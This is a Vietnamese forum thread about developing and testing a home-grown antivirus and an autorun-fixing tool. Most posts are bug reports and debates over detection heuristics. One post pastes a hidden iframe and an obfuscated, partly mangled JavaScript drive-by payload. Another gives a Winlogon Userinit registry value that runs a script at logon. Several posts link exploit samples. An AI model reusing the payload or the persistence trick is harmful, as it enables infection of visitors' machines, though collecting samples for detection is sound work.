Mod cứ vào mấy trang crack,... mấy link sex đảm bảo không thiếu bất kỳ con gì hết. Với tạo vài cái mail cho nó nhận mail là đủ.  

Tính năng phát hiện ngay khi download về máy, mới unrar từ file nén, hoặc là test file trước khi chạy file thực thi...  

Nên lụm luôn phụ tùng .dll của các thứ đó. Các loại script đuôi vbs.dll ... . Chướng ngại inject .dll vào các process khác.  

mod thử với loại inject .dll vào explorer.exe và các .exe khác đi. Mẫu là http://forum.spywareterminator.com/Default.aspx?g=posts&t=1524 Cái thứ .dll này nó chích thêm vào danh sách load .dll của .exe . file lây nhiểm để tạo .dll này thì tui ko thấy, chỉ thấy khi nó đã inject vào tùm lum thứ rồi. 

Bao gồm exploit xử lý file văn bản, ảnh, html, ... Link mấy cái exploit .ani http://forum.spywareterminator.com/Default.aspx?g=posts&t=1591  

Mẫu của mấy loại malware hàng top ở VN hiện tai , người ta không biết lấy mẫu nên quá ít nguồn. Mấy anh nghiên cứu code của forum ko tiếp xúc với TG nên chẳng có thông tin gì. Còn mẫu lây qua USB thì NHIỀU.  

Mod ad mấy loại exploit nội trong năm đi. Các loại top malware trong các tháng từ đầu năm tới giờ.Mẫu thì lúc nào có , gửi vào trong này. Nguồn thì ai có gì gữi vào trong đây. Ban đầu chắc phải tự tìm mẫu mà update trước rồi. 

Bác thử thay cái này bằng MD5 xem sao  

vd 2 file cb32.exe,wb32.exe mà bạn tmd nói bị chết oan do có size = item72  

Bị nhiễm loại virus Viking.1. Bạn nên bỏ qua 2 tập tin này (uncheck) hoặc add vào "Chứng thực" để không quét nhầm. Ngoài ra, bạn có thể down file data mới nhất (05/23/2007 04:14 PM) về cập nhật cho chương trình để tránh lỗi trên.  

+Đa số các file bác lấy có 5 byte để kiểm tra là hơi ít(các AV khác tối thiểu cũng 30-50 byte), chắc bác sợ tăng db  

+Tính năng phát hiện autoit của bác chuẩn thật, nhưng có phải cái nào cũng là virus đâu, may mà bác còn hiện list, không thì chết bao nhiêu file của em  

Bác xem còn gì hay hay tích hợp vào AV nhanh nhanh cho anh em xài nhé  

Em chưa thử db mới, nhưng với cái em đã dùng ,em đã thử tạo 1 file trắng (toàn byte 0) có kích thước = 12288byte, chương trình của bác vẫn bảo là virus mà , bác thử xem sao.  

Đã test, đâu có bị đâu ?  

Nên ăn mừng khi số update vược qua BKAV. :D) 

Software này giống như một anti soft bự , có cả update . Chổ update đó có vấn đề thì các kiểm tra viên lảnh đủ, nếu không có bảo vệ.  

MOD thêm tính năng warn và tắt trình duyệt khi người ta tới một trang web down về một đoạn mã, kiểu .vbs , .js , iframe,... Hay bất kỳ trang web nào yêu cầu người dùng chạy một trong những kiểu code trên, không cần biết nó độc/lành.  

- Bỏ/chọn chế độ Run When Windows Starts  

* Nghe anh, em bỏ chọn Cho phép đóng ứng dụng, hết khởi động lại máy luôn, 1 lúc sau mới biết là do nó, nên phải check mới khởi động cũng như tắt máy mới được.  

Chi cho phức tạp, dùng TweakUI turn off tính năng Autorun cho tất cả các ổ đĩa là xong: CD, USB, hard drive.... Tui không bao giờ cho thằng nào autorun cả, phải qua kiểm duyệt hết. 

Cho Ghost Ship cái tool này: tìm My Computer > Autoplay > bỏ chọn tất cả drive ở Drives và type ở Types. -> hết autorun.  

Em nghĩ nên gắn tool này vào cái chương trình kia và sẽ kiểm tra mỗi khi ó USB cắm vô máy, nếu thấy Autorun thì hiện ra cái tool này thì tốt hơn.  

Nếu chỉ delete những dòng được bôi đen thôi thì tốt hơn, Em luôn để một file Autorun ổ D để kích hoạt một file .exe có tác dụng dọa và cản trở gà vào ổ này Em kô bôi đen nó thế mà cái này của bác delete mất của em  

Nó chỉ hiện được cái file Autorun.inf thôi còn cái cột fileExecute kia ghi là kô có. Em đã +s +h cho cái file exe kia  

http://fasthelper.fire-lion.com/download/AutoRunFixer.exe

Như trên đã nói, thuộc tính của file không quan trọng. Dù bạn có thiết lập +h+s cho file vẫn có thể biết được. Có lẽ là chương trình check path không đúng nên hiển thị "not available". Bạn có thể up file autorun.inf lên đây không ?  

Bản chất autorun là có ích chứ không có hại, làm vậy sẽ phiền phức cho người dùng vì phải trả lời quá nhiều trường hợp. Người dùng chỉ sử dụng tool này khi cần thiết thôi.  

Có rất nhiều AutoRun hữu ích như của MS Office, giúp người dùng không cần phân biệt phải chạy file setup nào trong vô số file. Chỉ cần bỏ đĩa vào là install, rất tiện lợi :)  

Liệu có thể tạo một soft AV hoạt động dựa vào việc nhận biết các hoạt động đặc trưng của virus kô bác  

+ Thay đổi một vài key trong registry để tự vệ, các chương trình bình thường kô bao giờ có chức năng này  

+ Các loại worm thì luôn có chức năng tạo Autorun trong USB-> kiểm tra Autorun khi USB cắm vào máy.  

+ Quét các port mà virus hay dùng, nếu phát hiện thì tìm và thông báo file đang sử dụng port đó.  

+ Các file mầm .exe của virus luôn có icon hình cái folder -> kiểm tra icon của các file .exe trong folder người dùng mở.  

Liệu có thể tạo một soft AV hoạt động dựa vào việc nhận biết các hoạt động đặc trưng của virus kô bác 

+ Thay đổi một vài key trong registry để tự vệ, các chương trình bình thường kô bao giờ có chức năng này  

Nhưng nếu người dùng "cố ý" dùng chức năng này ? Như tiệm internet ? Disable để không cho quậy phá ? Bạn đừng nói "hãy dùng DeepFreeze đi", không phải ai cũng biết việc này hoặc thích dùng cách này 

+ Các loại worm thì luôn có chức năng tạo Autorun trong USB-> kiểm tra Autorun khi USB cắm vào máy.  

Cái này thì phát biểu cực kỳ theo cảm tính. Không phải các loại worm thì LUÔN có chức năng tạo AutoRun  

+ Các file mầm .exe của virus luôn có icon hình cái folder -> kiểm tra icon của các file .exe trong folder người dùng mở. 

Cái này phát biểu y như câu trên. Không phải loại nào cũng LUÔN có hình folder. Ngoài ra, nếu dùng hình khác như Text File, Zip, JPEG... thì thế nào... :)  

Do bạn chưa tiếp xúc nhiều loại, đặt ra nhiều tình huống, làm sao vừa để phòng chống, vừa hợp với người dùng nên còn phát biểu cảm tính quá. Bảo mật luôn phải cân bằng với dễ sử dụng nhưng không thế nào chấp nhận việc "thấy icon folder, disable registry, mở port mà thông báo là virus được" 

Mà đối tượng bị dính virus kô phải là những người hiểu biết mà đa phần là những người kô hiểu biết vì thế muốn soft hoạt động có hiệu quả thì phải dựa theo thói quen dùng máy của những đối tượng này  

Sao bác kô thử đi theo con đường này? đi theo con đương mà người khác chưa đi, hay chưa đi được là cách đến thành công vang dội nhất  

Khắc phục bằng cách tạo chức năng chấp nhận sự thay đổi đó. Soft chỉ hiển thì những key bị thay đổi so với lần quét trước. Em cũng muốn có soft theo dõi sự thay đổi của registry mà kô biết tìm thế nào  

nếu tạo ra Autorun trong USB thì 99,99% là worm Kô phải tất cả Virus đều dùng icon hình cái folder nhưng nếu dùng thì cũng 99,99% là virus Các hình khác thì bỏ qua nhưng hình folder thì chắc chắn phải diệt  

Em nghĩ đó là những biểu hiện thông thường, phổ biến nhất của virus, có thể chưa đủ nhưng tỷ lệ đúng là rất cao, kô thể bỏ qua  

Bạn có chắc người "có hiểu biết" không bị dính virus ;) ? Không phải lúc nào virus cũng "có process", nên có AV là 1 điều cần thiết  

Với mỗi lần quét, bạn snap registry lại. Sau đó so sánh giữa 2 lần quét, có khi là 1 ngày, bạn biết là giá trị registry thay đổi bao nhiêu không ? Tóm lại là càng phức tạp lại càng không hiệu quả 

Bạn đã khảo sát trên bao nhiêu loại Worm, trên 1000 chưa ;) ?  

Adware 2007 của lavasoft, có chức năng kiểm tra host file của windows. Mod nghiên cứu thử chức năng này.  

cả Autorun.inf lẫn .exe đây bác: http://www.freewebtown.com/tauma/data/Test.zip Hôm nay cắm USB test thử cái 1.1. Em thấy nó kô phát hiện ra Autorun trong USB bác ạ :((. Em còn tạo thêm một cái Autorun ở ổ E và nó chỉ phát hiện ra 2 file Autorun.inf ở D và E thôi, nó vẫn kô phát hiện ra file .exe. Cái zip trên là cái đã em dùng để test.  

Ghost Ship wrote:

cả Autorun.inf lẫn .exe đây bác: http://www.freewebtown.com/tauma/data/Test.zip Hôm nay cắm USB test thử cái 1.1. Em thấy nó kô phát hiện ra Autorun trong USB bác ạ :((. Em còn tạo thêm một cái Autorun ở ổ E và nó chỉ phát hiện ra 2 file Autorun.inf ở D và E thôi, nó vẫn kô phát hiện ra file .exe. Cái zip trên là cái đã em dùng để test.  

Hoàng đã upgrade lên phiên bản 1.2, hy vọng lỗi được chỉnh.

Những items nào được tô màu đỏ có nghĩa là file thực thi không tồn tại. Bạn có thể dùng "Check invalid" để chọn và xóa các file cùng lúc. 

Cơ bản là autorun mỗi device mỗi khác nhau, lưu lại là không ổn :) 

open=*.exe shellexecute=*.exe shell\Auto\command=*.exe 

Access violation at address 004f04a8 in module "AutoRunFixer.exe". read of address 00000004  

thât khong biet download nhu the nao ca nhung tui thay cai nay cung hay nen co gang download ve dung the , ai de lam mai ma cha duoc, co ai bit thi chi dun di coi 

Khi delete nó chỉ delete file Autorun.inf chứ kô delete file *.exe  

Mà trong properties -> File Version của cả 3 phiên bản đều ghi 1.0.0.0  

Mà cái dòng shell\Auto\command=*.exe có ý nghĩa gì thế bác Hoàng?  

Bạn search google để biết ý nghĩa của dòng này

Khi delete nó chỉ delete file Autorun.inf chứ kô delete file *.exe  

Quyết định delete file thực thi hay không là ở người dùng. Chương trình có tên là AutoRun FIXER, mục đích là fix những file autorun nào bị lỗi không double-click mở ổ đĩa ra được.

Mà trong properties -> File Version của cả 3 phiên bản đều ghi 1.0.0.0  

Cái này không quan trọng, quan trọng là version ở chương trình chính. 

Bạn thử dùng bản 1.3 xem còn bị lỗi trên không. Link download như cũ: http://fasthelper.fire-lion.com/download/AutoRunFixer.exe  

LeVuHoang wrote:

Bạn thử dùng bản 1.3 xem còn bị lỗi trên không. Link download như cũ: http://fasthelper.fire-lion.com/download/AutoRunFixer.exe  

Ổn rồi bác ạ :)) Cái chức năng "cấu hình" của FastHelper sử dụng thế nào bac Hoang ơi? chẳng thấy gì ở list cả. Hay là update lỗi :(( lúc nãy update lâu kinh(mất khoảng 15')  

GS, tmd: Đã hết bị lỗi chưa ? 

sau khi nhấn thông báo cập nhật. Không thấy thông báo cập nhật xong, biểu tượng chương trình ở system tray cũng không thấy. Windows báo virtual memory is too low mặc dù máy 2GB RAM  

Task manager bị khóa, không thể mở bằng Ctrl+Alt+Del, nhấp vào biểu tượng FHelper thì con chuột bảo chờ, rất lâu rồi cũng vẫn không có thay đổi gì.  

Tiếp tục: đã gỡ bản cũ cài lại, bi giờ lỗi có vẻ phát sinh sau khi đồng ý tải bản cập nhật 5.3.0, treo máy 2 lần, hiện tượng màn hình bị đứng  

PS: cho hỏi ngoài lề chút, sao giống BKAV ở chỗ Windows Security Center không nhận đây là chương trình diệt virus vậy huynh  

<iframe src="http://bbb.ccc.ddd.eee/go.php?sid=1" style="border:0px solid gray;" WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe> 

<script language=JavaScript>function decipher(x)var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,8,55,5,58,30,38,22,7,29,0,0,0,0,0,0,37,59,23,2,56,13,60,15,39,11,36,21,32,62,9,53,52,10,48,34,49,6,45,35,27,12,3,0,0,0,0,31,0,0,1,50,43,42,16,28,41,4,61,24,25,40,17,54,19,57,26,47,46,14,51,44,18,20,33);for(j=Math.ceil(l/b);j>0;j--)r='';for(i=Math.min(l,b);i>0;i--,l--)w|=(t[x.charCodeAt(p++)-48])<<s;if(s)r+=String.fromCharCode(165^w&255);w>>=8;s-=2elses=6document.write(r)decipher("3S4dlo5FmHM6mMr6VZuqzsNes6lFw8_4LslDaWwc37ETCZg6QUGATHuDXS4dlekALp5DXS4dl5t4zv_z78E2NZY68UYv7B9civjHIdFca_D6mMQes6NTKB9ca89zi_VTEvFPaWqzE89PK0hSQoN@IcNJIxlJgtD@xemcn2wS1X9@7xN@IMYTB_kzUdgRa_YT7ZY68ogPnBjHQekHyt1Hft1@ncqSBQhSQ89v87mTQ8YRk5kFiAYRO_EvpvgcaIYR7smTNpwO7_kzxvgRn2Y6y7kzEZYvC2gPkxq6mMr6KpFOiWgzIpYcaWqzmdgRfHYROpgPE_kzppgcfZY68ogPnBjHQekHyt1Hft1@ncqSBQhSQ89vQQYRnskOEBV6QB9Pk6wci8FzXS4dle1TKB9ca8j6mMQes6lDwG_zY8Y685GR1dgPad_AQX9P8tlvn89O_emS9xqSgCqSyUNHI5hJQegPEdmRa8jSK2gOregOnWlcQpgRlekDwG06mMQes6hj6_GAO8_zNpFcCZETCZY68u0qoXFOYB9P8tNes7kz3S4d37kz37kz6dFc789z7XjRWdM4TXG6B7Nes7kz37kz37kz37kz3S4d37kz37kzzvYc37mc28tjmMrz37kz37kDYWgz3eg0mH5AT8_jmMrz37kz37kDYWgz3eFDodues7kz37kz3Uuv1BkzQIsjEZgcNW4d37kz37kzzvYc37mco2YRNHYqKB9zmMrz37kz371es7kz37kz3Uuv1BkzcvFczvFOmMrz37kz37kDYWgz3C52asuT1ZYes7kz37kz3Uuv1BkzjW54HdgRgW4d37kz37kzzvYc37kjNZVRYsFDYHYRmMrz37kz37kDYWgz3rFqg8ERmMrz37kz37kDYWgz3eMTGsuT1ZYes7kz37kz3Uuv1Bkze_FvO_VcCW4dmMrz37kz37kDYWgz3SuP78ED9ZwTf8ERbW4dmMrz371AZBDciGEvCpgPQ_jSiB9OdpYcaWqzmvwTBdwOQGgP3cMcnZFOIZgP3C52KHwcBZFO87kFEZFcmMQes7kz37kz3SuP78ED9ZwTf8ERbB1637lzmMQes7kz37kz3StcbZ9cad_ji89vk5GR1dgPad_AQX9PIcFcIZFOTZg2nW4d37kz37kzcvFceXG6SZgP4IGvId0Fa_VOYdFcmMrz371es7kz37kz3rGRNZwTnBmqiXER3QGvIdtj3S4d37kz37kz37kz37kz3ruT7Zgz8cNJ871es7kz37kz37kz37kz37kz3714fX9PL2ERUZ9Pa8Y6yS4d37kz37kz37kz37kz3ruT7Zgz8t5F8S4d37kz37kz37kz37kz37kz3SuP78ED9ZwTf8ERbWN@mMrz37kz37kz37kz37kz6pwOaBDzgoqzmMrz37kz37kz37kz37kz37kzmZVOnZ52aXYPnZgRkxNes7kz37kz37kz37kz37mqiXER3514L_1es7kz37kz37kz37kz37kz3714fX9PL2ERUZ9Pa8Y6yS4d37kz37kz37kz37kz3ruT7ZgzLHwOaW4d37kz37kz37kz37kz37kz3SuP78ED9ZwTf8ERbWl@37kzmMrz37kz371DI8gzoZgcaXgPmMrz3S4d37kz37kzwGgz3SuP78ED9ZwTf8ERbWN@3U_vasYes7kz37kz37kz37kz2pFcbdYcY0ERmMQes7kz37kz37kz37kzL2ERdpYcaWhDasYRBpgPasuT1ZgWYS4d37kz37kz37kz371D9ZF4iWYRkC52asuT1ZgzZ7DzICg2a_1es71es7kz37kz37kz37kzoZgP37mc28tjkUwcUZEcasgPIrFOapgPaZ5caWYRI89W8eFTGZwTn_1W3S4d37kz37kz37kz37mc28tjIrERnp5Pn_Ev8Z9PaBDzY8FzN5mc28tj8S4d37kz37kz37kz37mc28tjIrERnp5Pn_Ev8Z9PaBDzUHYT7XEvb_kS8rgc7vgR_55DguhqfCqJ1uNJJXNSyxlDKS1H9rNq17l@6BlJWXM@gCt@p51es7kz37kz3S4d37kz37kz37kz37mja89zQX_vaHgcJB9O3SlzQ__DosmqBZYTnZw480YRU89W8r_vaHgcIx5OKHYvUpgPYdFc86Dz8c1es7kz37kz37kz37kzoZgP3eFDQHgRa_9zk7mco2YRNHYqKBjSdpYcaX_OiXYRErVOZGt4d8sjYS4d37kz37kz37kz37mja89zQGtcN8YRBv5PaWY6QGtcN8YRBskji_VOasuT1ZgW8rG21_wcNskPnGFzYS4d37kz37kz37kz37DDQsgP4BGTn2wM6dYcKdFcasgP7WhjKHYvn2mcWdgcbZFOw8ER1skji89vN5kM861Sy61@YS4d37kz37kz37kz37mFYsgDY_E63utcI8VMOpgPEdsqQWgOQsYRI8VOE7NW3ukz860z3ukz3utcI8VMOpgPEdsqQWgOQsYRI8VOExNW3ukz860zmMrz37kz37kz37kz3C52asuT1ZY6cvFczvFO3ukzL2ERdpYcaW4d37kz37kz37kz37kz37kz37kzmMrz37kz37kz37kz3eMTGsuT1ZY68SuvU_Vc7dFRn_1es7kz37kz37kz37kze_FvO_VcCWqzjW54V8_FO_1es7kz37kz37kz37kz7ZgP3eg0mH5AT8_j3Slz6_ERi8ERe_FvaXgPEeMTGsuT1ZgzZ7DzI5kzZ7m480gjBdwRYS4d37kz37kz37kz37DjapVMnv9OaWqzS_kzZ7DzL_kzZ7DzT_1es7kz37kz37kz37kzV8_FOXGR7XEvQsY6Q2G4h25FTB0SeBERI2DjapVMTv9OaH14Q8YPNZwMOpgPEHk@YS4d37kz37kz37kz37mcjW54V8_FOsmjasgREckzmMrz37kz37kz37kz3eMc3CMOBdFO35GR7ZEcaBD4a29PmMrz37kz37kz37kz3oG4h_tcbvE6Q2G4h25FTB0SBZwOKdFc7ZFqQ8Y2mMrzmMrz37kz37kz37kz3utjed0ciWYRk5mjU_EvK8EvIIFz3ukz8tDz3ukz8uuvNZwjgX9PaWw480YRU8jzmMrz37kz37kz37kz3rGRnBmcWXs4keFjzX0S6_ERi8ERe_FvaXgPEutjed0ciWYRN5DzYS4d37kz37kz37kz37mja89zOHYPCvFcWvgcaWhcWXs4IrMOapgPa8GR98jDYHYREC52asuT1ZgS3U0jRZuWmMrz37kz37kz37kz37_cfIYvIdsOY0ERk6uRI_5WjW54HdgRgv1esS4d37kz37kz37kz37DDQ_9zGWN@3Usc37_cfIYvIdsOY0ER3S4d37kz37kz37kz37kz37kz3rFqg8ERkSuvb_5WjW54HdgRgHDvNxNWmMrz37kz37kz37kz37kz37kzHv9PaXtcbZY6JXVTH2mTHv9Pav1es7kz37kz37kz37kz37kz37kjNZVRYsFDYHYRIQ0OY8EREr5vB2Dqg8ER6dgRav1WmMrz37kz37kz37kz3tuR98Ees7kz37kz37kz37kzOHYPCvFcWvgcasmqNdwOaW4d37kz37kz3S4d37kz37kz37kz37mja89z3ewFo2YRNHY6Q__DosmqBZYTnZw480YRU89W8QsjU_EvK8jSo2YRNHFzN5DzYS4d37kz37kz37kz37m4IB1DB_VcBBDjaXEP1ZgzdZg2nW4d37kz37kz37kz37mccX_vaHgcI5GPIBkWL2ERdpYcavkSy6DDJHtjLW4dmMrz37kz371DI8gzwGgzmMQes7kz3CMcbB1AZW4dmM4DfswTnvwcIBmDa8VMcvFc4GGRBXEvQsgWYS4dmMrz37kz3cuDpZFO7vwcIWqciGEvCpgPQ_jSiB9OvZFO7vwcIW4d37kz371AZB1AIX_PB21ALGERBXEvQsgS8QGvI8wcxX9zgCqzY7k6X7k@37kFEZFcmMrz37kz37kz3QuRndsFYswMvZFO7vwcIWqzgCqzmMrz37kz3C5c7ZYAZB1AIX_PB21ALGERBXEvQsgS8QGvI8wcxX9zd8_zn51W36q637lz3U_vasYes7kz37kz37kzSZgP4IGvId0Fa_VOYdFck5D4T_1es7kz37kzLHwOavMR3cMco8jOEcuDpZFO7vwcIHDzcvFc3cl23UqSg51W36q637lz3U_vasYes7kz37kz37kzSZgP4IGvId0Fa_VOYdFck514L_1es7kz37kzLHwOavMR3cMco8jOEcuDpZFO7vwcIHDzcvFcbdwP7B1H951W36q637lz3U_vasYes7kz37kz37kzSZgP4IGvId0Fa_VOYdFck51H951es7kz37kzLHwOavMR3cMco8jOEcuDpZFO7vwcIHDzcvFcbdwP7BD4TB1JI7qzY7k6X7k@37kFEZFcmMrz37kz37kz3QuRndsFYswMvZFO7vwcIWqzB4MzmMrz37kz3C5c7ZYAZB1AIX_PB21ALGERBXEvQsgS8QGvI8wcxX9zd8_zft1@8ckzltlzK7kzT2YRIW4d37kz37kz37mDa8VMcvFc4GGRBXEvQsY68o_j8S4d37kz371DNXER3S4d37kz37kz37mDa8VMcvFc4GGRBXEvQsY68C0cuswcxsFzmMrz37kz3CMcbB1AZW4d37kz371esCMcbBDDfswTnvwcIW4dmM4DfswTnvwcIBmDasYRBpgPasuT1ZgWYS4dmMrz37kz35GTI8wc1suT1ZY6851es7kz37kzB_E6wsgPEoqW2sgRYS4d37kz371vuWl@mMrz37kz3UtcmMrz37kz37kz3cYvkcMcn2D@fMDjI8YWuchJmMrz37kz37kz35GTI8wc1suT1ZY62pFcbdYcdpYcaAmqE_9WYvYWmMrz37kz37kz3cwvkcwvuxNes7kz37kzhdwcKBmFEvgcaB1vuHqOBW4d37kz37mDasYRBpgPasuT1ZY62pFcbdYcdpYcaW4dmMQDI8gzWZjcU8EvQsYes7kz3S4dlemj6_GAO806mMr6Q5t4zv06mMr6Qo5FmHM6mMQ")</script>  

hic anh Hoàng ơi chiều này máy nhà em update cái Fasthelp và quét,được một lúc thì nó báo lỗi:"external exception C0000024". ah,còn 1 vấn đề nữa là hồi đầu khi cài fasthelp nếu bật bitdefender 10 thì không cài được còn nếu tắt đi thì cài được  

Hi, em tải về dùng bản 5.3.5 rồi nhưng có cái lỗi "kỳ kỳ" :D), thứ nhất là phải add updater của boom vào (cái này ko sao), nhưng em ghi CD 2 cái software xong chạy nó thì không được (chưa thử cái khác), nó chỉ hiện ra 1 cửa sổ explorer mới trỏ đến ổ CD nữa. Em đoán là do cái FH nên tắt thử thì chạy bình thường, hay là tại anh đặt sờ-cu-ri-ty hơi cao :D) 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit=C:\WINDOWS\system32\userinit.exe, -> C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\wscript.exe C:\WINDOWS\system32\killVBS.vbs 

Hi anh, 2 cái đó không có autorun, em chép theo dạng nguyên 2 cái thư mục: 1 là share point designer từ file iso ra nên có file autorun trong đó, thư mục còn lại là Kingsoft Office, không có autorun, hổng hiểu :(( 

Nếu có thêm thông tin gì mình sẽ send mẫu cho !! xin ủng hộ 2 tay 2 chân ...  

@Hoang Đúng là link ko dùng đc anh ơi. Post lại cái ko đi được ko? 

Với lại khi minh mở file .exe,.inf (từ CD)nó hiên ra 1 thông báo,mình click "Ok" hay "Cancel" gì thì nó cũng ko cho thực thi đc=> "Thông báo đó là vô nghĩa",Còn nếu mà muốn cảnh báo cho người dùng biết ko nên mở files đó thì nên đưa ra 1 cái "Warning !!!" thì hay hơn chứ!!!,và cái "Warning...!!" đó cũng nên chỉ cho người dùng thấy cách thức đề mở file vừa đc cảnh báo.  

Anh Hoàng, em có ý kiến nho nhỏ. FireLion có thể thêm chức năng này không anh? Đó là: _ Có 1 Black List, mình có thể chủ động đưa bất kì File với bất kì định dạng nào vô đó. _ Khi những File bị đưa vào đó, sẽ không thể được thực thi dưới mọi hình thức. _ Với 1 lý do nào đó, khi tắt FireLion đi, thì những File nằm trong Black List đó cũng không thể được thực thi. _ Và nếu có 1 chương trình nào đó kêu gọi nó ra để thực thi, thì FireLion chặn lại và có nhiệm vụ đưa ra thông báo rõ ràng là: chương trình nào (gồm các File .exe và .dll v.v...) đang gọi những File nằm trong Black List ra để thực thi. Song song đó là có các tùy chọn : "có thực thi hay không" "ghi nhớ luôn thao tác hỏi đó đối với File đó" và "kê ra danh sách đường dẫn những File có liên quan". 

Không Dũng ah, các phiên bản về sau này chạy khá ổn định nên không có update kernel, chỉ update database thôi. Mới được thả ra hay sao mà vào HVA post bài um sùm thế này :-) 

Không Dũng ah, các phiên bản về sau này chạy khá ổn định nên không có update kernel, chỉ update database thôi. Mới được thả ra hay sao mà vào HVA post bài um sùm thế này :-) 

cái này ko biết có đúng ko  

chào các bạn tôi là thanh lâm IT của cty huynhdai và cũng là thành viên trong ban quản trị hacker admin tôi thấy các bạn bàn về các chương trỉnh diệt virus có vẻ đam mê nhỉ, nhưng tôi có phần mền này hay lắm đây là phần mền của nước ngoài do nhóm hacker của chúng tôi láy được và mã hóa băng tiếng việt ai quan tâm thì báo cho tôi nha